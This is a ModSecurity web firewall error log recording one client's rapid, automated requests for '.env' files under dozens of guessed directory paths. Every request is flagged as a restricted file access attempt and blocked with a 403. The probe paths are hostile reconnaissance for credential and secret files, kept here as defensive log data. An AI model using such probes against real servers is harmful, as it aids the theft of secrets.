[Mon Jul 28 20:46:10.029797 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FE/huey/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IlAAAAAA&quot;]
[Mon Jul 28 20:46:10.049971 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fedex/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fedex/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IlQAAAAA&quot;]
[Mon Jul 28 20:46:10.050149 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fedex/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IlQAAAAA&quot;]
[Mon Jul 28 20:46:10.050307 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fedex/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IlQAAAAA&quot;]
[Mon Jul 28 20:46:10.070431 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fhir-api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fhir-api/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IlgAAAAA&quot;]
[Mon Jul 28 20:46:10.070603 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fhir-api/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IlgAAAAA&quot;]
[Mon Jul 28 20:46:10.070781 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fhir-api/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IlgAAAAA&quot;]
[Mon Jul 28 20:46:10.094963 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /files/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/files/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IlwAAAAA&quot;]
[Mon Jul 28 20:46:10.095168 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/files/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IlwAAAAA&quot;]
[Mon Jul 28 20:46:10.095349 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/files/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IlwAAAAA&quot;]
[Mon Jul 28 20:46:10.115388 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fileserver/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fileserver/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-ImAAAAAA&quot;]
[Mon Jul 28 20:46:10.115587 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fileserver/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-ImAAAAAA&quot;]
[Mon Jul 28 20:46:10.115761 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fileserver/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-ImAAAAAA&quot;]
[Mon Jul 28 20:46:10.135996 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /films/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/films/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-ImQAAAAA&quot;]
[Mon Jul 28 20:46:10.136231 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/films/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-ImQAAAAA&quot;]
[Mon Jul 28 20:46:10.136402 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/films/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-ImQAAAAA&quot;]
[Mon Jul 28 20:46:10.157265 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /final_project/airflow_dag/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/Airflow_Dag/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-ImgAAAAA&quot;]
[Mon Jul 28 20:46:10.157491 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/Airflow_Dag/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-ImgAAAAA&quot;]
[Mon Jul 28 20:46:10.157676 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/Airflow_Dag/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-ImgAAAAA&quot;]
[Mon Jul 28 20:46:10.178547 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /final_project/kafka_twitter/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/kafka_twitter/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-ImwAAAAA&quot;]
[Mon Jul 28 20:46:10.178755 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/kafka_twitter/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-ImwAAAAA&quot;]
[Mon Jul 28 20:46:10.178952 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/kafka_twitter/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-ImwAAAAA&quot;]
[Mon Jul 28 20:46:10.199342 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /final_project/startingfile/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/StartingFile/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-InAAAAAA&quot;]
[Mon Jul 28 20:46:10.199558 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/StartingFile/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-InAAAAAA&quot;]
[Mon Jul 28 20:46:10.199736 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/StartingFile/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-InAAAAAA&quot;]
[Mon Jul 28 20:46:10.219727 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /finalversion/lcomernbootcamp/projbackend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/finalVersion/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-InQAAAAA&quot;]
[Mon Jul 28 20:46:10.219956 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/finalVersion/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-InQAAAAA&quot;]
[Mon Jul 28 20:46:10.220117 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/finalVersion/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-InQAAAAA&quot;]
[Mon Jul 28 20:46:10.261399 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /first-network/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/first-network/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-InwAAAAA&quot;]
[Mon Jul 28 20:46:10.261581 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/first-network/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-InwAAAAA&quot;]
[Mon Jul 28 20:46:10.261730 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/first-network/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-InwAAAAA&quot;]
[Mon Jul 28 20:46:10.281784 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /first_config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FIRST_CONFIG/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IoAAAAAA&quot;]
[Mon Jul 28 20:46:10.281977 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FIRST_CONFIG/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IoAAAAAA&quot;]
